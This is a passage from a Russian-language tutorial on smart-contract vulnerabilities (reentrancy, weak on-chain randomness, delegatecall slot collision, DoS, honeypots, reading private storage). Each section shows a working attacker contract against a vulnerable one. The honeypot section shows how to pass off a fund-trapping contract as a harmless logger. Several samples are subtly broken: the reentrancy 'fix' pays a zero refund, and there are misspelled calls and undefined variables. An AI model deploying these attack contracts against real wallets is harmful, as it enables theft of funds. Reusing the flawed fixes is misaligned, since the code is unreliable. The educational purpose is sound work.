Когда мы запрашиваем рефаунд в контракте хакера -> срабатывает функция рефаунд у Макса -> Мы проходим проверку, что имеем право на получение 1 эфира -> срабатывает сам рефаунд и нам отправляют вложенное через (bool success, ) = balanceMan.call{value: balances[balanceMan]}(""); -> в нашем хак контракте срабатывает функция recieve, потому что мы принимаем рефаунд -> а в ней сразу же срабатывает новый запрос на рефаунд

Но ведь у нас специально есть обнуление баланса в функции возврата рефаунда - скажете вы.

Да, только она не успевает сработать. Потому что мы сразу же запрашиваем возврат. Контракт Макса с каждым возвратом буквально сам дергает наш контракт на повторный рефаунд и до "balances[balancePerson] = 0" он просто не может дойти

Как этого избежать?

Мы можем просто занулять в самом начале if на рефаунд. Да, рефаунд все равно сработает, но в этот момент наш баланс уже будет обнулен

Выглядит это теперь так:

function refundMoney() public {      
      address balanceMan = msg.sender;
        uint amount = balances[balanceMan];
        
       if (balances[balanceMan] > 0) {
        balances[balanceMan] = 0;

        (bool success, ) = balanceMan.call{value: balances[balanceMan]}("");
        require(success, "BUY-BUY");
      }

Есть еще один modifier от openzeppelin, но сюда я приведу его в пример без объяснения. Потому что новички могут запутаться, а ребята с опытом могут разобраться сами.

bool private locked;

modifier reentrancyRequire() {
  require(!locked, "error");
  locked = true;
_;
  locked = false;
}

3. Block.timestamp или случайности не случайны

Можем ли мы обыграть казино с вероятностью в 100%? Если код этого казино написан на Солидити и разработчики допустили частую ошибку по работе с рандомом, то нам не составит труда этим воспользоваться.

Часто эта ошибка проявляется с использованием blockhash и block.timestamp

Смоделируем ситуацию:

Максим решил создать свое децентрализованное казино. По классике возьмем такой пример: суть этого казино в том, чтобы создать "рандомное" число, а игроки должны это число угадать. Если человек угадывает казино, то забирает выигрыш. Мы здесь не будем усложнять логику казино, нам важно показать саму суть

contract MaxCasino {

    constructor() payable {
}
//когда участник пишет свой вариант числа - он вызывает эту функцию...
//за _guess здесь принимается ответ участника
    function guess(uint _guess) public {
//здесь мы устанавливаем правильный ответ через "рандом"...
//мы используем хэш блока через blockhash...
//и метку времени через block.timestamp
//это встроенные параметры, которые мы можем использовать в Солидити
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//здесь проверяем, что если предполашаемый ответ игрока...
//совпадает с ответом из нашей формулы выше...
//то игроку отправляется 1 eth
        if (_guess == answer) {
            (bool sent, ) = msg.sender.call{value: 1 ether}("");
            require(sent, "Failed to send Ether");
        }
    }
}

В чем ошибка?

Используя blockhash и block.timestamp мы создаем рандом только на первый взгляд. Но если хакер напишет контракт точно с такой же функцией, то ему не составит труда постоянно угадывать число

Следи за руками, как мы вынесем казино Максима и никаких фокусов

contract HackCasino {
//функция принятия денег. Мы же хотим получить выигрыш на этот контракт
    receive() external payable {
}
//здесь при вызове этой функции указываем аргументом контракт Казино...
    function attack(MaxCasino maxCasino) public {
//копируем метод "рандома" из контракта казино...
//как видим все в точности также 
        uint answer = uint(
            keccak256(abi.encodePacked(blockhash(block.number - 1), block.timestamp))
        );
//получив ответ передаем его в функцию guess в контракт Казино на проверку...
//естественно мы забираем выигрыш и так бесконечно, пока не опустшим
        maxCasino.guess(answer);
    }
}

Как этого избежать?

На самом деле способов для генерации рандома толком нет. Да, это странно, но это так. Единственное можно использовать ораклы, это, конечно, затратно, но оно стоит того.

А вообще можно написать что-то такое. Уже лучше, чем в коде выше, но это все еще не рандом.

НО вообще запомни: не пытайся создавать рандом подобными образами, это все распаковывается и никакой это не рандом. Выход только в использовании оракулов!

function getRandomNumber(uint _salt) private view returns(uint) {
        return uint(
            keccak256(
                abi.encodePacked(
                    _salt,
                    blockhash(block.number - 1),
                    blockhash(block.number - 2),
                    blockhash(block.number - 3)
                )
            )
        );
    }

4. Delegatecall или как тебя заменят

В 2017 году был взломан кошелек Parity примерно на $40 млн по тому курсу ETH. И чтобы разобраться как такое произошло мы с вами спустимся немного ниже. Да, речь пойдет о низкоуровневых штуках, но ты не пугайся. Это не так уж сложно. Эта уязвимость покажет нам насколько важно быть внимательным

В Солидити есть низкоуровневые вызовы и один из них это delegatecall, правда с ним есть одна проблема. Эти вызовы очень важны, они позволяют вызывать функции из других контрактов даже если нет исходного кода.

Если взять отдельно delegatecall, то он позволяет делегировать функции из контракта А в контракт В.

ВАЖНО: при использовании delegatecall порядок переменных сохраняется из контракта А

Смоделируем ситуацию:

Теперь Максим хочет инвестировать уже свои деньги в чей-то пул, он решает написать для этого смарт контракт и делегировать функции из другого контракта, который является пулом. Давай начнем с другого контракта, который является пулом

contract PoolForMax{
//задаем переменную счастливчика...
//она по идее не нужна, но будем использовать для примера...
//ее присутствие покажет нам...
//насколько важно при delegatecall сохранять порядок переменных
    address public luckyMan;// слот 0
    mapping (address => uint) public balancesPeople;// слот 1
    address public owner;// 2

 constructor(){
 owner = msg.sender;
 }
//здесь мы сохраняем каждого вкладчика в этот пул в простой мэппинг...
//состоящего из его адреса и суммы 
 function deposite(address _luckyMan) public payable {
 balancesPeople[msg.sender] += msg.value;
 luckyMan = _luckyMan;
  }
}

Теперь посмотрим контракт Максима

contract MaxWyldeDepositInPool{
//ключевая ошибка ставить переменную owner первой
 address public owner;// слот 0

 mapping (address => uint) public balances;// слот 1

 address public luckyMan;// слот 2
 address public poolForMaxAddress; // слот 3

 constructor(address _poolForMaxAddress) {
 owner = msg.sender;
 poolForMaxAddress = _poolForMaxAddress;
 }
//отправка денег в пул через delegatecall...
//здесь у нас нет никаких проблем
    function depositeInPool(address _luckyMan) public payable {
       (bool success, ) = poolForMaxAddress.delegatecal(abi.encodeWithSignature("deposite(address)", _luckyMan) );
       require(success, "Faild!");
    }
 }

В чем ошибка?

Смотри, очень важно, чтобы в контракте, который использует delegatecall к другому контракту переменные стояли в одинаковом порядке с самого начала.
Ведь у переменных есть так называемые слоты (см. в коде, я это подсветил). Короче, если в контракте А определенные переменные занимают слоты с 0 до 2, то и в контракте В должно быть также.

Например:
В первом контракте переменная address public luckyMan = 0 слот
Во втором контракте переменная address public owner = 0 слот

Это проблема, но мы можем легко ей воспользоваться и поменять владельца в смарт-контракте Макса из-за того, что он нарушил главное правило при использовании delegatecall

contract Hack{
//сейчас будем работать с контрактом Макса
 MaxWyldeDepositInPool public maxWyldeDepositInPool;
 address public owner;

 constructor(address _maxWyldeDepositInPool) {
 owner = msg.sender;
 addressHack = maxWyldeDepositInPool(_maxWyldeDepositInPool);
 }
//в этой функции мы всего-то вызываем функцию depositeInPool из контракта Макса...
//вписываем свой адрес на место аргумента...
//и из-за того, что у нас на 0 слоте у Макса стоит owner, а не luckyMan...
//мы под видом адресса luckyMan вписываем свой адрес в owner...
//назначая себя владельцем
   function maxHack(address _owner) public {
       maxWyldeDepositInPool.depositeInPool(_owner);
   }
 }

Это довольно старая ошибка, но я считаю ее по истине изысканной. Потому что дело всего лишь в такой мелочи, как разный порядок переменных.

Как от этого избавиться?

Очевидно, чтобы не попасться на эту удочку - просто сохраняйте правильный порядок переменных, когда используете delegatecall к другому контракту. Если в другом контракте на 0 слоте address owner, то и у вас тоже на 0 слоте должен быть address owner.

5. Denial of Service или заблокировать функцию контракта

Иногда можно очень просто заблокировать функцию смарт-контракта. Но для чего? Здесь вариантов масса: от блокировки выдачи денег людям и манипуляций до всяких интересных стратегий в играх, казино и прочее. Dos буквально позволяет вам стать последним, кто использует функцию в конкретном смарт контракте

Очень важная уязвимость, которую не стоит недооценивать. Да, напрямую используя ее не получится заполучить средства контракта, но поверьте мне мало кто захочет остаться со сломанным контрактом и зависшими на нем токенами.

Смоделируем ситуацию:

Предположим Максим решил доработать свой контракт пула из второй главы.
Теперь рефаунд вкладчикам будет происходить автоматически через перебор в цикле. Очень удобно, конечно, давай взглянем на код

contract MaxPool {
//Создаем mapping balances, где адрес вкладчика привязывается к его сумме 
    mapping(address => uint) public balances;
//создаем массив, где будут храниться все наши вкладчики
    address[] public allPeople;
    uint refund;
//принимаем деньги на контракт...
//и сразу записываем в balances адрес вкладчика и сумму
//и добавляем каждого вкладчика в массив
    function depositPool() public payable {        
      balances[msg.sender] += msg.value;
      allPeople.push(msg.sender);    
   }
//функция для рефаунда вкладчикам
    function refundMoney() public {
//перебор циклом, который возвращает всем вкладчикам по очереди      
      for(uint i = refund; i < allPeople.length; i++) {
          adress nextMan = allPeople[i];
//конечно не забываем написать защиту от reeantrancy и занулить перед отправкой            
          balances[msg.sender] = 0;
//отправляем деньги вкладчикам через низкоуровневый вызов call
          (bool success, ) = nextMan.call{value: balances[nextMan]}("");
          require(success, "fail"); 
//указываем, что вернули средства очередному вкладчику
          refund++;
      }
    }
//просто функция просмотра баланса этого контракта
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
 }

Пока не буду раскрывать карты с ошибкой, давайте посмотрим на контракт хакера

contract HackYou {
//здесь мы как обычно указываем, что будем работать с контрактом Максима
 MaxPool maxPool;
 constructor(MaxPool _maxPool) {
 MaxPool = MaxPool(_maxPool);
 }
//здесь мы отправляем депозит в пул Максима...
//для того, чтобы в псоледующем его заморозить
   function deposit () external payable {
     maxPool.depositPool{value: msg.value}();
}
//в этой короткой функции кроется все зло...
//когда нам поступает рефаунд...
//срабатывает assert(false)...
//а это по идее проверка, которая если заканчивается false (здесь именно так)
//останавливает смарт контракт...
//естественно нам не могут поступить деньги и все вкладчики после нас зависли
   function hack () external payable {
     assert(false);
 }
}

Как от этого избежать?

На самом деле, самый простой вариант это не использовать циклы, а оставить как было во второй главе, где люди могут сами забирать свои средства. В таком случае, наш контракт не сломается. Но есть и другие способы, они более сложные и я не думаю, что они подходят под уровень конкретно этой части. Возможно, мы это разберем в след частях.

6. Honeypot или как заработать на хакерах

Заскамить хакера хорошо это или плохо? У всех будет своя правда, мы не буйдем здесь это обсуждать с точки зрения морали. Зато, что наиболее важно мы это разберем технически. Как же все таки устроить "медовую ловушку" для тех, кто решил забрать чужое?

Я встречал два определения для Honey Pot. Первое более известно каждому - токены которые можно купить, но нельзя продать. Оно нам сейчас не сильно интересно, да и в открытом доступе очень много разборов и примеров на всех языках мира

Второе значение - написать контракт, который якобы содержит уязвимость и использовать его как приманку для хакеров. Но на самом деле этот контракт будет иметь не уязвимость, а ловушку для тех, кто попытается его взломать. Интересно? Интересно, погнали

Смоделируем ситуацию:

Максим Вайлд aka черная шляпа aka хакер имеет на уме только желание найти слабый контракт и выжать с него все до копейки. Что ж, мы можем воспользоваться жаждой наживы Максима и дать ему то что он хочет...но только на первый взгляд

Что нам нужно знать?

Мы специально допустим в нашем контракте ошибку Reentrancy из второй главы. Но нам важно ознакомиться с еще одним хитрым ходом благодаря которому мы введем нашего хакера Максима в заблуждение.

В контракте Pool мы "КАК БЫ" будем использовать контракт Logger в котором есть функция с приемом аргументов и нам даже неважно каких, мы просто должны написать так, чтобы выглядело это логично.

Сам контракт Pool мы практически полностью скопируем из второй главы и специально оставим там ошибку Reentrancy.

Далее мы должны задеплоить оба этих контракта, получить галочку на EtherScan и вот какой код контракта Pool будет виден всем кто захочет его проверить.

contract Pool {
//создаем мэппинг с привязкой адрес => сумма, все как обычно
    mapping(address => uint) public balances;
//здесь мы как бы говорим...
//что сейчас будем использовать функцию из контракта Logger ниже
    Logger logger;
//но на самом деле в этот конструктор...
//мы передаем адрес контракта HoneyPot...
//который имеет функцию блокировки вывода
    constructor(Logger _logger) {
        logger = Logger(_logger);
    }
//функция для депозита...
//чтобы хакер внес свой эфир и потом попытался забрать весь банк...
//все как во второй главе
    function depositPool() public payable {
        balances[msg.sender] += msg.value;
        logger.log(msg.sender, msg.value, "Deposit");
    }
//функция рефаунда, где мы СПЕЦИАЛЬНО допустили ошибку зануления/вычитания
    function refundMoney(uint _amount) public {
        require(_amount < = balances[msg.sender], "Sorry, not funds");
        (bool sent, ) = msg.sender.call{value: _amount}("");
        require(sent, "Failed");
        balances[msg.sender] -= _amount;
        logger.log(msg.sender, _amount, "Withdraw");
    }
//просто функция просмотра баланса
    function checkBalance() public view returns(uint) {
        return address(this).balance;
    }
}
//контракт Logger...
//который несет в себе в целом адекватную функцию...
//которую мы КАК БЫ будем использовать в контракте Pool
contract Logger {
    event Log(address caller, uint amount, string action);
    function log(address _caller, uint _amount, string memory _action) public {
        emit Log(_caller, _amount, _action);    
 }
}

Отлично, у нас есть контракт Pool с уязвимостью Reentrancy и контракт Logger, который нужен только для вида

На самом же деле в конструктор мы будем передавать не Logger, а контракт нашего HoneyPot, который несет в себе функцию блокировки снятия средств. То есть, никто не сможет сделать рефаунд

Давай напишем HoneyPot

contract HoneyPot {
//когда хакер Максим пытается запросить рефаунд срабатывает эта функция...
//эта функция всегда откатывает транзакцию и возвращает "HoneyPOOOOOOT"
    function log(address _who, uint _sum, string memory _act) public {
        if (equal(_act, "Withdraw")) {
            revert("HoneyPOOOOOOT");
        }
    }
//функция сравнения строк
     function equal(string memory _x, string memory _y) public pure returns (bool) {        return keccak256(abi.encode(_a)) == keccak256(abi.encode(_b));
    }
}

Именно адрес этого контракта мы указывали в конструктор и выдавали его за контракт Logger, который не вызывает вопросов

Ну и лишний раз посмотрим хакерский контракт Максима Вайлда, который пытался вывести все эфиры

contract HackPoolMaxWylde {
//в принципе здесь все примерно также, как и в контракте хакера со 2 главы
    uint constant AMOUNT = 1 ether;
    Pool pool;
    constructor(address _poolAddress) {
        pool = Pool(_poolAddress);
    }

    function depositMaxPool() external payable {
        pool.depositPool{value: AMOUNT}();
    }

    function hack() external {
        pool.refundMoney(1);
    }

    receive()  external payable {
        if(pool.checkBalance() > 0) {
            pool.refundMoney(1);
       }
    }
}

7. Accessing Private Data или как раздобыть приватную инфу из контракта

Скорее всего, за свой опыт в крипто вы часто прибегали к помощи скриптов для автоматизации тех или иных процессов. Часто вам приходилось доверять чужому коду, вставлять туда приватники и надеяться, что все обойдется без скама. Но вставляя свои приватные данные в софты для автоматизации чего либо стоит вопрос только о доверии к разработчикам этих софтов. Но в смарт контрактах есть очень тонкий лед и это должен усвоить каждый. Даже если вы с нуля написали свой смарт контракт и зашили туда свои приватные данные - то можете с ними попрощаться.

Accesing Private Data звучит в целом очень логично и для того чтобы получить доступ к приватным данным из переменных не нужно быть супер-хакером.

Смоделируем ситуацию:

Максим решил написать смарт-контракт и зашить в него свое имя и свой главный секрет присвоив своим переменным тип видимости "private". Он напишет очень простой код, который отлично покажет в чем основная ошибка

contract MaxSecrets {
   //созданы переменные куда сохранятся приватные данные Максима
   bytes32 private name; // слот 0
   bytes32 private secret; // слот 1
   //именно сюда Максим передаст свое имя и свой секрет...
   //и конструктор сохранит это в приватные переменные выше
   constructor (bytes32 _name, bytes32 _secret) {
        name = _name;
        secret = _secret;
    } 
  }

В чем ошибка?

Все приватные переменные являются приватными только в контексте области видимости смарт контракта, на самом деле мы можем распаковать все эти данные и важно учитывать несколько очень важных правил

• Один слот занимает 32 байта
• Несколько переменных могут даже уместиться в один слот
• Массивы естественно могу занимать несколько слотов
• Функции не занимают никаких слотов

Как получить доступ?

Например, мы можем через тесты в терминале используя hardhat (про тесты мы будем плотно говорить в других частях) обратиться к контракту вот таким образом, после чего воспользоваться console.log для того, чтобы увидеть результат

const slot 0 = await ether.provider.getStorageAt(MaxSecret.address, 0);
const slot 1 = await ether.provider.getStorageAt(MaxSecret.address, 1);

console.log("what is name?", slot 0);
console.log("what is secret?", slot 1)

Кстати, результат мы получим в "байтах", но перевести все это дело в исходные вариант - проблем не составит

Заключение!

Вот и подошла к концу первая из серии статьей на тему уязвимостей смарт контрактов. Впереди вас ждут новые части, где с каждым разом мы будем нырять все глубже и глубже. Пока не преисполнимся и не объединимся в сильное аудиторское агентство, хех

Во-первых, нужно перечитывать эту статью неоднократно, если тебе что-то вдруг непонятно. Не бойся гуглить, потому что это лучший навык, а также обязательно применяй этот код в Remix и экспериментируй с ним

Во-вторых, спасибо за поддержку и помощь в некоторых моментах Ilya Krukowski, обязательно, оформи подписочку на его тг и ютуб канал (кстати лучший плейлист-курс по Солидити)

В-третьих, спасибо GuideDAO (промокод на 10% "IZIDAO"). Если бы не было их, то и не было бы этой статьи. Лучшая web3 школа, где я наконец-то смог начать осваивать код

Скоро увидимся!

P.S скоро я дропну смарт-контракты с этими уязвимостями и реальным балансом с эфирами. Кто хакнет - тот и заберет. Подписывайся на меня, скоро все будет